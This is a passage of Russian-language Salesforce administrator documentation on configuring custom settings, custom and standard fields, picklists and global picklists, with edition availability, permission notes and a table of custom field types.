параметрами:
• «Настройка

приложения»

Чтобы заполнить поля, определите настраиваемые параметры и добавьте поля, а затем
выполните указанные ниже действия.

1. Введите строку «Настраиваемые параметры» в поле «Быстрый поиск» в меню
«Настройка» и выберите пункт «Настраиваемые параметры».

2. Щелкните ссылку «Управление»напротивнужногонастраиваемогопараметраили
одноименную кнопку на странице сведений о настраиваемом параметре.

3. Введите или измените значения настраиваемого параметра.

• Ниже перечислены действия, доступные над параметрами списка.

– Чтобы добавить данные в поля, нажмите кнопку «Создать».

– Чтобыизменитьимянабораданныхилиданные, щелкните ссылку «Правка»
напротив имени текущего набора данных.

– Чтобы удалить набор данных, щелкните ссылку «Удал.» напротив имени
текущего набора данных.

• При использовании параметра иерархии определите уровень иерархии для
добавления стандартных данных (организация, профиль или пользователь).

Чтобы добавить стандартные данные на уровне организации, нажмите кнопку
«Создать» в разделе «Значение уровня организации по умолчанию». Данные,
которые ужеопределеныдляорганизации, доступнытолькодляредактирования
или удаления.

Чтобы добавить стандартные данные на уровне профиля или пользователя,
нажмите кнопку «Создать» в нижнем разделе страницы (напротив параметра
«Ответственный за настройку»).

Ниже перечислены действия, доступные после определения данных.

• Чтобыизменитьстандартныйнаборданныхнауровнеорганизации, нажмитекнопку«Правка»вразделе «Значение
уровня организации по умолчанию». Чтобы удалить стандартный набор данных, нажмите кнопку «Удалить»
(доступно только для настраиваемых параметров иерархии).

• Чтобы просмотреть данные, щелкните ссылку «Просмотр» напротив имени текущего набора данных (доступно
только для настраиваемых параметров иерархии).

• Чтобы изменить имя набора данных или данные, щелкните ссылку «Правка» напротив имени текущего набора
данных.

• Чтобы удалить набор данных, щелкните ссылку «Удал.» напротив имени текущего набора данных.

СМ. ТАКЖЕ:

Ограничения и рекомендации по использованию настраиваемых параметров

Добавление данных настраиваемых параметров
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Добавление данных настраиваемых параметров

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: Group
Edition, Professional
Edition, Developer Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Database.com Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания,
редактирования, удаления и
управлениянастраиваемыми
параметрами:
• «Настройка

приложения»

После определения настраиваемых параметров и добавления полей рекомендуем
заполнить поля данными.

Пользователь может задать как минимум один набор данных. При использовании
настраиваемых параметров списка каждому набору данных присваивается имя,
используемое кодом Apex, полями формулы и другими компонентами для обращения.

При использовании настраиваемых параметров иерархии доступ к данным
предоставляется на основе уровня доступа (пользователь, профиль или организация).
По умолчанию сначала отображаются данные, доступные на самом низшем уровне, то
есть на уровне пользователя. Например, в приложении могут использоваться разные
контактные номера: один — для конечных пользователей, а второй — только для
системных администраторов.

Чтобы добавить данные в поля настраиваемых параметров, выполните указанные ниже
действия.

1. Введите строку «Настраиваемые параметры» в поле «Быстрый поиск» в меню
«Настройка», выберитепункт «Настраиваемыепараметры»ищелкнитепоссылке
«Управление» напротив нужного настраиваемого параметра. При необходимости
нажмите кнопку «Управление» на странице сведений о настраиваемом параметре.

2. Нажмитекнопку«Создать»илиссылку«Правка»напротивтекущегонабораданных.

3. Добавьте или измените данные.

При использовании настраиваемых параметров списка:

a. Укажитеилиизменитеимянабораданных. ДанноеимяиспользуетсякодомApex,
полями формулы и прочими компонентами.

b. Введите или измените данные для всех полей.

c. Нажмите кнопку «Сохранить».

При использовании настраиваемых параметров иерархии:

a. Длястандартныхзначенийуровняорганизации: введитеилиизменитеданныеполей. Стандартноеместоположение
организации вводится автоматически.

b. Для значений уровня профиля или пользователя: выберите пункт «Профиль» или «Пользователь» в
раскрывающемсясписке «Расположение». Введитеимяпрофиляилипользователяиливоспользуйтесьдиалоговым
окном поиска. Затем введите или измените данные полей.

c. Нажмите кнопку «Сохранить».

Прим.: Настраиваемый параметр иерархии позволяет добавлять только одну запись для профиля или
пользователя. Добавление двух записей для одного профиля или пользователя инициирует возникновение
ошибки.

СМ. ТАКЖЕ:

Управление данными настраиваемых параметров

Добавление полей настраиваемых параметров
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Просмотр данных настраиваемых параметров

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: Group
Edition, Professional
Edition, Developer Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Database.com Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания,
редактирования, удаления и
управлениянастраиваемыми
параметрами:
• «Настройка

приложения»

Данные могут быть просмотрены только после добавления полей и их заполнения.

1. Введите строку «Настраиваемые параметры» в поле «Быстрый поиск» в меню
«Настройка», выберитепункт «Настраиваемыепараметры»ищелкнитепоссылке
«Управление»напротив заданногонастраиваемогопараметра. Принеобходимости
нажмите кнопку «Управление» на странице сведений о настраиваемом параметре.

2. Чтобыпросмотретьнаборданных, щелкнитессылку«Просмотр»напротивнужного
набора (доступно только для настраиваемых параметров иерархии).

СМ. ТАКЖЕ:

Добавление полей настраиваемых параметров

Добавление данных настраиваемых параметров
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Ограничения и рекомендации по использованию настраиваемых параметров

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: Group
Edition, Professional
Edition, Developer Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Database.com Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания,
редактирования, удаления и
управлениянастраиваемыми
параметрами:
• «Настройка

приложения»

Ниже перечислены рекомендации и ограничения, действующие для размера
кэшированных данных при использовании настраиваемых параметров.

• Общий размер кэшированных данных, допустимый для организации, должен быть
наименьшим из двух значений:

– 10 Мб

– 1 Мб, умноженныйнаколичествополныхлицензийпользователяворганизации

Например, организации, использующей три полных лицензии, предоставляется
хранилищенастраиваемыхпараметровразмером 3 Мб. Организации, использующей
20 полных лицензий, предоставляется хранилище размером 10 Мб.

Каждому сертифицированному управляемому пакету предоставляется отдельное
ограничениенаряду с ограничениемдля организации. Например, еслиорганизация
устанавливаетдва сертифицированныхуправляемыхпакетаииспользуеттриполных
лицензии, то каждому сертифицированному управляемому пакету предоставляется
хранилище настраиваемых параметров размером 3 Мб наряду с аналогичным
ограничением для организации, равным 3 Мб.

• Разрешается добавлять не более 300 полей на один настраиваемый параметр, если
ограничениедлянастраиваемыхобъектовсоставляетнеменее300полей. Еслиданное
ограничение составляет менее 300 полей, то ограничение по количеству полей для
настраиваемых параметров равняется ограничению по количеству полей для
настраиваемых объектов.

• Записьилиобъектнастраиваемогопараметранеподдерживает возможностьобщего
доступа.

• При создании настраиваемого параметра ответственный не назначается, поэтому не может быть изменен.

• Настраиваемыепараметры — это типнастраиваемогообъекта. Каждыйнастраиваемыйпараметручитываетсяобщим
количеством настраиваемых объектов организации.

• Просмотр неудаленного настраиваемого параметра в поле формулы инициирует возникновение ошибки при
отсутствии полномочия «Настройка приложения». Чтобы предотвратить данную ошибку, рекомендуем выполнить
повторноеразвертываниеданногонастраиваемогопараметраворганизации. Крометого, рекомендуемудалитьданный
настраиваемыйпараметр, воссоздатьнастраиваемыйпараметрс темжеименемиданными, а затемудалитьивоссоздать
все поля формулы, использующие данный параметр.

• Если формула кросс-объекта ссылается на поле валюты из настраиваемого параметра, то значение данного поля не
преобразуется в валюту записи, содержащейформулу. Если валюта поля настраиваемого параметра отличается от
валюты записи, то формула может возвращать неточный результат.

Чтобы просмотреть общий размер данных, используемых организацией, введите строку «Настраиваемые параметры» в
поле «Быстрый поиск» и выберите «Настраиваемые параметры». Данная страница содержит размер одной записи,
количество созданных записей и общий размер, используемый каждым настраиваемым параметром.

Размер записи определяется максимальным размером поля каждого типа. При добавлении полей в определение
настраиваемогопараметрарекомендуемиспользовать соответствующийтипизадаватьдлину, являющуюсяоптимальной
для выбранного типаданных. Данноедействиепозволяетизбежатьпревышенияограничениядля кэшированныхданных.
Например, при создании поля номера социального обеспечения выберите тип данных «Текст» и введите значение «9».
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При выборе типа данных «Область текста» каждая запись, содержащая данное поле, увеличивает показатели
использования на 255 символов, независимо от количества введенных символов.

СМ. ТАКЖЕ:

Настраиваемые параметры

Работа с настраиваемыми полями

Настройка полей

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: все
версии.

Стандартные поля и макеты
страниц недоступны в
версиях: Database.com
Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания илиизменения
настраиваемых полей:
• «Настройка

приложения»

Настройка полей позволяет выполнять уникальные требования организации. Ниже
перечислены доступные действия.

• Изменение некоторых аспектов стандартных полей

• Изменениеилидобавлениезначенийвнастраиваемыеполяраскрывающегосясписка

• Определение правил зависимости между полями

• Создание настраиваемых полей для сбора дополнительных сведений

• Создание полей формулы, которые автоматически вычисляют значения на основе
содержимого других полей

• Определение стандартных значений для настраиваемых полей

• Определение правил проверки для полей

• Назначение полю статуса обязательного

• Настройка полей для отслеживания изменений, включая дату, время, причину и
автора изменения

• Создание макетов страниц для управления способом отображения полей

• Настройка параметров безопасности для управления доступом к полям

• Создание или изменение наборов полей
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Настройка стандартных полей

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: все
версии, кроме
Database.com Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для изменения стандартных
полей:
• «Настройка

приложения»

Пользователи могут настраивать некоторые аспекты стандартных полей (например,
значения раскрывающихся списков, формат полей автонумерации, отслеживание
журнала поля, фильтры поиска для полей взаимосвязи и справку поля).

Версии Enterprise Edition, Unlimited Edition, Performance Edition и Developer Edition позволяют
просматривать сведения о стандартных полях и настраивать параметры безопасности
полей.

Изменение стандартных полей автонумерации

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: Contact
Manager, Group Edition,
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition и
Developer Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для изменения стандартных
полей автонумерации:
• «Настройка

приложения»

Уникальныеидентификаторырешений, обращенийиконтактовявляютсястандартными
полями автонумерации. Каждой созданной записи назначается уникальный номер
заданногоформата. Принеобходимостиизменитеформатинумерациюданныхполей.

1. Откройте параметры управления объектом, поле которого необходимо изменить,
и перейдите в область полей.

2. Щелкните «Правка» напротив имени нужного поля.

3. Чтобы настроить параметрыформатирования полей автонумерации (например,
минимальноеколичествоначальныхнулейипрефиксилииндексчисла), заполните
поле «Формат отображения».

Изменения формата не влияют на текущие записи и применяются только к новым
записям.

4. Введитеномер, которыйдолженбытьназначенследующейзаписи, созданнойпосле
сохранения внесенных изменений.

5. Нажмите кнопку «Сохранить».

Внимание: Система Salesforceотображаетпредупреждениепривводе следующего
номера, которыйпредшествует текущимномерам. Темнеменее, системапозволяет
создавать повторяющиеся номера при многократном измененииформата
автонумерации посредством похожих форматов.

СМ. ТАКЖЕ:

Типы настраиваемых полей
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Настраиваемые поля

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: все
версии.

Вкладки недоступны в
версии Database.com
Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания илиизменения
настраиваемых полей:
• «Настройка

приложения»

Чтобы настроить организацию, рекомендуем добавить настраиваемые поля для всех
вкладок и объектов, используемых в организации.

Дополнительнуюинформациюобобщемколичественастраиваемыхполей, доступных
для создания, см. в разделе «Ограничения Salesforce».

Прим.: Когда число настраиваемых полей организации приближается к 800, при
удаленииполяи созданииновогоможет возникатьошибка. Вовремяфизического
удаления выполняются восстановление и очистка поля, при этом оно временно
учитывается в общем количестве полей. Процесс удаления запускается, только
когда очередь переполнена, так что запуск может начаться через несколько дней
или недель. В течение этого срока удаленные поля учитываются в общем
максимально разрешенном количестве полей. Чтобы запросить немедленное
удаление полей, свяжитесь со службой поддержки Salesforce.

Дополнительную информацию см. в разделах ниже.

• Создание настраиваемых полей

• Редактирование настраиваемых полей

• Просмотр полей конкретного объекта

• Удаление полей

• Создание формул

• Создание настраиваемого поля раскрывающегося списка

• Определение зависимых раскрывающихся списков

• Определение стандартных значений полей

• Дополнительные параметры настраиваемых полей

• Атрибуты настраиваемого поля
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Создание и расширение настраиваемых полей

Создание настраиваемых полей

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: Contact
Manager, Group Edition,
Professional Edition,
Enterprise Edition,
Performance Edition,
Unlimited Edition,
Developer Edition и
Database.com Edition.

Внешние объекты Lightning
Connect доступны в версиях:
Developer Edition.
Доступно за
дополнительную плату в
версиях: Enterprise Edition,
Performance Edition и
Unlimited Edition.

Настраиваемые поля
действий недоступны в
версии Group Edition.

Настраиваемые параметры
недоступны в версии
Professional Edition.

Макеты недоступны в
версии Database.com
Edition.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания илиизменения
настраиваемых полей:
• «Настройка

приложения»

Соберите своиуникальныеделовыеданныепутемихсохранениявнастраиваемыхполях.
Присозданиинастраиваемогополяпользовательконфигурируетместоихотображения
и при необходимости проверяет безопасность на уровне поля.

Хотите настроить систему Salesforce для сбора всех важных бизнес-данных? Данный
короткий видеоролик содержит рекомендации по созданию поля настраиваемого
раскрывающегосясписка — отвыбораправильноготипаполядопримененияпараметров
безопасности поля.

Прежде чем начать работу, определите тип создаваемого поля.

Прим.: Если ваша организация ограничена 800 настраиваемыми полями и
пользователь удаляет или создает поля, создание поля может не удаться. Во время
физического удалениявыполняются восстановлениеиочисткаполя, приэтомоно
временно учитывается в общем количестве полей. Процесс удаления запускается,
только когда очередь переполнена, так что запуск может начаться через несколько
дней или недель. В течение этого срока удаленные поля учитываются в общем
максимально разрешенном количестве полей. Чтобы запросить немедленное
удаление полей, свяжитесь со службой поддержки Salesforce.

1. В разделе настроек управления для объекта, к которому вы хотите добавить поле,
перейдите в раздел «Поля».

Прим.: Пользовательскиеполя задачисобытийдоступнывразделепараметров
управления объектами для действий.

2. Нажмите кнопку «Создать».

Совет: При необходимости настройте зависимости полей и функцию
отслеживания журнала полей для настраиваемых объектов.

3. Выберите нужный тип поля и нажмите кнопку «Далее». Ниже приведены
рекомендации по работе.

• Некоторые типы данных доступны только для определенных конфигураций.
Например, типданных «Взаимосвязь "Основная–подробная"» доступентолько
в том случае, если настраиваемый объект еще не содержит такой взаимосвязи.

• Настраиваемые параметры и внешние объекты поддерживают только наборы
доступных типов данных.

• Доли возможности не поддерживают добавление настраиваемого поля типа
«Раскрывающийсясписоксомножественнымвыбором», «Областьобогащенного
текста» или «Зависимый раскрывающийся список».

• Поля взаимосвязи учитываются ограничениями по количеству настраиваемых
полей.

• Типданных«Сводное резюмирование»доступентолькодлянекоторыхобъектов.

• Типы полей соответствуют типам данных API.
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• Еслиорганизацияиспользуетшифрованиеплатформы, просмотритепорядокшифрованиянастраиваемыхполей
посредством предложения по шифрованию платформы.

4. При использовании полей взаимосвязи свяжите объект с полем и нажмите кнопку «Далее».

5. Прииспользованииполейвзаимосвязинепрямогопоиска выберитеполе уникальноговнешнегокодародительского
объекта и нажмите кнопку «Далее». Значения родительского поля сопоставляются со значениями дочернего поля
взаимосвязи непрямого поиска для определения записей, связанных друг с другом.

6. Введите метку поля.

Система Salesforce заполняетполе «Имя поля» меткойполя. Данноеимядолжнобыть уникальнымиможет содержать
только буквы, цифры и символы подчеркивания. Имя должно начинаться с буквы; не может содержать пробелов и
двух последовательных символов подчеркивания, а также не может заканчиваться символом подчеркивания.Имя
поля может использоваться для полей слияния в настраиваемых ссылках, настраиваемых элементах S-Сontrol и при
обращении к полю посредством API.

Совет: Убедитесь в уникальности имени и метки настраиваемого поля объекта.

• Еслиименаилиметки стандартногоинастраиваемогополейсовпадают, тополе слияния содержит значение
настраиваемого поля.

• Если имена или метки двух настраиваемых полей совпадают, то поле слияния может содержать
непредвиденное значение.

Если при создании метки поля «Эл. почта» уже существует стандартное поле «Эл. почта», то поле слияния
можетнеразличатьименаполей. Чтобы гарантировать уникальностьименинастраиваемогополя, рекомендуем
дополнить его символами. Например, «Эл. почта12».

7. Чтобы определить необходимость заполнения поля, а также действия, выполняемые при удалении записи, введите
атрибуты поля и установите соответствующиефлажки.

8. Чтобы переподчинить дочернюю запись во взаимосвязи «Основная — подробная», заданной для настраиваемых
объектов, другой родительской записи, установите флажок «Разрешить переподчинение».

9. Чтобы ограничить результаты поиска по полям взаимосвязи, создайте фильтр поиска. Недоступно для внешних
объектов.

10. Нажмите кнопку «Далее».

11. В версиях Enterprise Edition, Unlimited Edition, Performance Edition и Developer Edition выберите параметры доступа к полю
для каждого профиля, а затем нажмите кнопку «Далее».

Включенные параметрыУровень доступа

«Доступно»Пользователимогутпросматриватьиредактироватьполе.

«Доступно» и «Только для чтения»Пользователимогутпросматриватьполе, нонемогут его
редактировать.

НетПользователинемогутпросматриватьилиредактировать
поле.

Прим.:

• Поумолчаниюсозданноенастраиваемоеполедоступнопрофилямпорталадляпросмотраилиредактирования
только при наличии статуса универсального обязательного.
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• Профили с полномочием «Просмотр зашифрованных данных» обозначаются звездочкой.

12. Выберите макеты страниц для отображения редактируемого поля и нажмите кнопку «Далее».

Расположение на макете страницыПоле

Последнее поле в первом двухстолбцовом разделе.Обычное

Конец первого одностолбцового раздела.Область подробного текста

Нижняя часть страницы сведений о пользователе.Пользователь

Данное поле не может быть удалено из макетов страниц
или выбрано в качестве доступного только для чтения.

Универсальное обязательное

13. Прииспользованииполейвзаимосвязисоздайте связанныйсписоксвязанныхзаписейидобавьте еговмакетыстраниц
соответствующего объекта.

• Чтобыизменитьимясвязанногоспискавмакетах страниц, щелкнитеполе «Меткасвязанногосписка»ивведите
новое имя.

• Чтобы добавить связанный список в настраиваемые макеты страниц, установите флажок «Добавить связанный
список в текущие персональные настройки пользователя».

14. Позавершениинажмите кнопку «Сохранить». Чтобысоздать дополнительныенастраиваемыеполя, нажмите кнопку
«Сохранить и создать».

Прим.: Создание полей может инициировать одновременное изменение большого количества записей. Для
эффективной обработки этих изменений запрос пользователя может быть поставлен в очередь, а после его
выполнения будет отправлено электронное уведомление.

СМ. ТАКЖЕ:

Взаимосвязи внешних объектов

В чем разница между классическимшифрованием ишифрованием платформы?

Какие поля можношифровать?

Шифрование файлов и вложений

Поиск по параметрам управления объектами

Соотнесение настраиваемых полей интересов для преобразования интересов

Определение полей фильтра поиска
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Создание настраиваемого поля раскрывающегося списка

ВЕРСИИ

Доступно в версиях:
Salesforce Classic и
Lightning Experience

Доступно в версиях: все
версии.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания илиизменения
настраиваемых полей:
• «Настройка

приложения»

Чтобы разрешить пользователям выбор значений из заданных списков, создайте
настраиваемые поля раскрывающегося списка.

Посмотреть демонстрационный ролик: Настраиваемые поля: раскрывающиеся
списки

Система позволяет создавать поля раскрывающегося списка двух типов.

• «Раскрывающийся список»: данный тип поля позволяет выбирать одно значение из
заданного списка.

• «Раскрывающийсясписок сомножественнымвыбором»: данныйтипполяпозволяет
выбирать несколько значений из заданного списка. Все значения данного поля
отделены точкой с запятой.

Прим.: Поля раскрывающегося списка недоступны для внешних объектов. Доли
возможности не поддерживают добавление настраиваемого поля типа
«Раскрывающийся список со множественным выбором», «Область обогащенного
текста» или «Зависимый раскрывающийся список».

1. Изпараметров управленияобъектомдля вашегообъектаперейдите кразделуполей.

• Для раскрывающихся списков статусов проверки статей базы знаний, в разделе «Настройка» введите «Статусы
проверки» в поле «Быстрый поиск», затем выберитеСтатусы проверки.

2. В списке, связанном с настраиваемыми полями, нажмите кнопку «Создать».

3. Установите переключатель «Раскрывающийся список» или «Раскрывающийся список (множественный
выбор)» и нажмите кнопку «Далее».

4. Введите метку для поля раскрывающегося списка.

5. Чтобы использовать значения из имеющегося глобального раскрывающегося списка, выберите «Использовать
определение глобальногораскрывающегося списка». Чтобыиспользовать значения, созданные специально для
этого раскрывающегося списка, выберитеВвести значения для раскрывающегося списка, каждое значение
отделять новой строчкой.

Важное замечание: Этот параметр можно увидеть в выпуске Developer Edition и в безопасных организациях по
умолчанию. Длявсехдругихвыпусков: Мыпредоставляемэтуфункциюдляизбранныхклиентовчерезпилотную
программу, которая требует соглашения с конкретными условиями и положениями. Для получения доступа
обратитесь в компанию Salesforce. Принятиепробной версиине гарантируется ввиду ее возможногоизменения.
Согласно данному документу, другимпресс-релизами официальным сообщениям, данная пробнаяфункцияне
является общедоступной. Компания Salesforce не может гарантировать ее общедоступность на постоянной или
временной основе. Принимайте решения о покупке только на основе обычных доступных функций.

6. Если вы не воспользовались глобальным раскрывающимся списком, введите значения раскрывающегося списка.

Каждое значение должно отображаться в отдельной строке. Длина значений не может превышать 255 символов.

7. Также можно отсортировать значения в алфавитном порядке, использовать первое значение списка в качестве
стандартного или использовать оба варианта.

Приналичииобоихфлажковсистема Salesforce сортирует записиивыбираетпервое значениев качестве стандартного.

Прим.: Нерекомендуемназначатьстандартныезначенияполям, которыеодновременноявляютсяобязательными
и уникальными, ввиду возможного возникновения ошибок уникальности. См. раздел «Общие сведения о
стандартных значениях полей» на странице 4542.
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8. Выберите, следует ли ограничить значения этого раскрывающегося списка администраторским утвержденным
списком. ВыборпараметраСтрогопринудительныезначенияраскрывающегосяспискапредотвращает загрузку
пользователями неутвержденных значений через API.

Важное замечание: Этот параметр можно увидеть в выпуске Developer Edition и в безопасных организациях по
умолчанию. Для всех других выпусков: Ограниченныеспискидля выбора внастоящее времядоступныв качестве
бета-версии. Это означает, что онифункционируют, но с некоторыми известными ограничениями. Свяжитесь
с Salesforce, чтобы включить ограниченные списки для выбора для Salesforce Classic.

9. При создании раскрывающегося списка со множественным выбором введите количество значений, которое должно
одновременно отображаться на страницах редактирования. Количество значений определяет высоту поля.

10. При необходимости введите описание или текст справки и нажмите кнопку «Далее».

11. Настройте параметры безопасности для поля раскрывающегося списка и нажмите кнопку «Далее».

12. Выберите макеты страниц для добавления поля раскрывающегося списка.

13. Нажмите кнопку «Сохранить».

СМ. ТАКЖЕ:

Создание настраиваемых полей

Добавление или редактирование значений раскрывающегося списка

Удаление значения раскрывающегося списка

Создание глобального раскрывающегося списка (пробная версия)

ВЕРСИИ

Доступно в версиях:
Salesforce Classic

Доступно в версиях: все
версии. Включено по
умолчанию в выпуске
Developer Edition и в
безопасных организациях.

ПОЛНОМОЧИЯ
ПОЛЬЗОВАТЕЛЯ

Для создания илиизменения
настраиваемых полей:
• «Настройка

приложения»

Рекомендуем использовать глобальные раскрывающиеся списки для применения
значений раскрывающегося списка ко всем объектам и полям настраиваемого
раскрывающегося списка, а также ограничения раскрывающихся списков указанными
значениями.

Прим.: Если у вас имеется организация выпуска Developer Edition или безопасная
организация, глобальные списки для выбора уже готовы к использованию.

Для всех других выпусков: Пробная версия глобальных списков для выбора
предоставляется отдельным клиентам после принятия соответствующих условий.
Для получения доступа обратитесь в компанию Salesforce. Принятие пробной
версии не гарантируется ввиду ее возможного изменения. Глобальные списки
недоступны для пользователей на общих основаниях до тех пор и если Salesforce
необъявитобихдоступностинаобщихоснованияхвдокументации, пресс-релизах
и через публичные заявления. Компания Salesforce не может гарантировать ее
общедоступностьнапостояннойиливременнойоснове. Рекомендуемприобретать
только общедоступные продукты и функции. Вы можете предоставить отзывы и
предложения по глобальным спискам для выбора в группе Глобальные и
ограниченные настраиваемые списки для выбора в сообществе успеха Salesforce.

Настраиваемый раскрывающийся список связывается с отдельным объектом как поле
объекта. Вотличиеотполянастраиваемогораскрывающегося списка, глобальныйраскрывающийсясписокиспользуется
как независимыйосновной список значений. Его значения применяются любымраскрывающимся списком, созданным
на его основе.
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Посути, глобальныйраскрывающийсясписокявляетсяограниченным. ТолькоадминистраторыSalesforceмогутдобавлять
или изменять его значения; пользователи не могут добавлять неутвержденные значения (даже посредством API).

Прим.: Можнонастроитьдо 500 глобальныхсписков (илисовместноиспользуемыхопределенийспискадлявыбора)
в организации. Это ограничение не применяется к настраиваемым спискам, создающимся на основе глобальных
определений списков для выбора.

1. Введите строку «Раскрывающиеся списки» в поле «Быстрый поиск» меню «Настройка» и выберите пункт
«Раскрывающиеся списки».

2. Нажмите кнопку «Создать» в разделе «Глобальные раскрывающиеся списки».

3. Введите метку для глобального раскрывающегося списка. Данное имя отображается при создании раскрывающихся
списков на основе данного глобального раскрывающегося списка.

4. Принеобходимостивведитеописание глобальногораскрывающегосясписка. Данныйтекстотображаетсяна странице
«Раскрывающиеся списки» меню «Настройка».

5. Нажмите кнопку «Сохранить».

6. Нажмите кнопку «Создать» в разделе «Значения раскрывающегося списка».

7. Добавьте значенияраскрывающегосяспискапутемнажатиякнопки«Создать»иввода значений (поодномувстроке).

8. Нажмите кнопку «Сохранить».

9. Чтобы изменить порядок отображения значений, нажмите кнопку «Изменить порядок». При необходимости
разрешитесортировку значенийв алфавитномпорядкеилииспользованиепервого значенияв качестве стандартного.

Теперь определение глобального раскрывающегося списка может использоваться как основной список значений.
Дополнительную информацию о создании раскрывающегося списка на основе глобального раскрывающегося списка
см. в разделе «Создание настраиваемого поля раскрывающегося списка».

Некоторые ограничения данной пробной версии:

• После создания поля настраиваемого раскрывающегося списка на основе глобального раскрывающегося списка
страница сведений о настраиваемом раскрывающемся списке в меню «Настройка» не отображает список значений.
Тем не менее, значения наследуются от глобального раскрывающегося списка.

• Дляполейнастраиваемого списка для выбора, основанногона глобальномсписке для выбора, вынеможетеизменить
этот тип поля. Например, вы не можете изменить поле списка для выбора на текстовое поле или список для выбора
с выбором одного варианта на список с выбором нескольких вариантов.

• Настраиваемый раскрывающийся список со множественным выбором, созданный на основе глобального
раскрывающегося списка, не поддерживает операцию замены.

Типы настраиваемых полей
При наличии данных, которые не соответствуют стандартным полям, администратор может создать соответствующее
настраиваемое поле. Например, поле «Отчество» может быть добавлено для контактов.

Прежде всего, присозданиинастраиваемогополярекомендуемвыбрать типполя. Описаниекаждого типанастраиваемых
полей см. ниже.

ОписаниеТип

Автоматическое назначение уникального номера каждой
записи. Максимальная длина любого поля типа

Автонумерация

«Автонумерация» составляет 30 символов, 20 из которых
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ОписаниеТип

зарезервированы для префикса или индекса.Недоступно
для внешних объектов.

Данный тип поля позволяет определять истинность или
ложность атрибута записи. При использовании поля типа

Кнопка-флажок

«Кнопка-флажок» в фильтре отчета или спискового
представления рекомендуем использовать «Истина» для
отмеченных значений и «Ложь» для неотмеченных.
Мастеры импорта и услуга еженедельного экспорта
используют «1» для отмеченных значений и «0» для
неотмеченных.

Данный тип поля позволяет вводить сумму в валюте.
Система автоматически форматирует поле как сумму в

Валюта

валюте. Данная функция полезна при экспорте данных в
электроннуютаблицу. Недоступнодлявнешнихобъектов.

Прим.: Значения полей валюты в системе Salesforce
округляются до целого четного числа. Например,
значение 23,5 округляется до 24, значение 22,5
округляется до 22, значение−22,5 округляется до−22,
а значение −23,5 округляется до −24.

Точность значений после 15-го десятичного знака
не гарантируется.

Данный тип поля позволяет вводить дату или выбирать
нужную дату во всплывающем календаре. Данные отчетов

Дата

могут быть ограничены определенным диапазоном дат
посредством любого настраиваемого поля даты.

Данный тип поля позволяет вводить дату или выбирать
нужнуюдату во всплывающемкалендареиуказывать время

Дата/время

дня. Чтобы добавить текущую дату и время, рекомендуем
щелкнуть ссылку датыивременинапротивполя. Времядня
может содержать метку AM или PM. Данные отчетов могут
бытьограниченыопределеннымдиапазономдативремени
посредством любого настраиваемого поля даты.

Данный тип поля позволяет вводить адрес эл. почты
длиною не более 80 символов, проверяемый на

Эл. почта

соответствие заданномуформату. Еслиданноеполе задано
для контактов или интересов, то адрес может быть выбран
посредствомкнопки «Отправитьсообщениеэл. почты».
Обратите внимание, что настраиваемые адреса эл. почты
не могут использоваться в пакетных рассылках.

Прим.: Данное поле может быть зашифровано
посредствомшифрования платформы.
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ОписаниеТип

Взаимосвязь внешнего поиска связывает дочерний
стандартный, настраиваемый или внешний объект с

Взаимосвязь внешнего поиска

родительским внешним объектом. При создании поля
взаимосвязивнешнегопоискастандартноеполе «Внешний
код» родительского внешнего объекта сопоставляется со
значениямиполя взаимосвязивнешнегопоиска дочернего
объекта. Значения полей внешнего объекта извлекаются
из внешнего источника данных.

Автоматическое вычисление значений, основанных на
других значенияхилиполях (например, наполях слияния).
Недоступно для внешних объектов.

Формула

Прим.: ЗначенияполейформулывсистемеSalesforce
округляются в сторону увеличения. Например,
значение 12,345 округляется до 12,35, а значение
−12,345 округляется до -12,34.

Предоставлениепользователямвозможностиопределения
местоположенияпоширотеидолготе. Поле «Геолокация»

Геолокация

является составным, поэтому учитывается ограничениями
организациикактринастраиваемыхполя: однодляшироты,
одно для долготы и одно для внутреннего пользования.
Недоступно для внешних объектов.

Создание иерархической взаимосвязи поиска между
пользователями. Данныйтипполяпозволяетиспользовать

Иерархическая взаимосвязь

полепоиска для связыванияодногопользователя с другим,
который не ссылается прямо или косвенно на самого себя.
Например, настраиваемое поле типа «Иерархическая
взаимосвязь» может быть создано для хранения имени
прямого менеджера каждого пользователя.

Взаимосвязь непрямого поиска связывает дочерний
внешний объект с родительским стандартным или

Взаимосвязь непрямого поиска

настраиваемымобъектом. Присозданииполя взаимосвязи
непрямого поиска для внешнего объекта рекомендуем
задать поля родительского и дочернего объектов для
сопоставления и связывания записей во взаимосвязи.
Например, выберите настраиваемое поле уникального
внешнего кода родительского объекта для сопоставления
сполемвзаимосвязинепрямогопоиска дочернегообъекта,
значения которого извлекаются из внешнего источника
данных.

Созданиевзаимосвязимеждудвумязаписями, позволяющей
связывать записи между собой. Например, отдельное

Взаимосвязь поиска

обращение может быть связано с возможностью, так как
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ОписаниеТип

возможности связаны с обращениями посредством
взаимосвязи поиска.

• Взаимосвязь поиска для стандартного или
настраиваемого объекта создает поле, позволяющее
пользователям нажимать значок поиска и выбирать
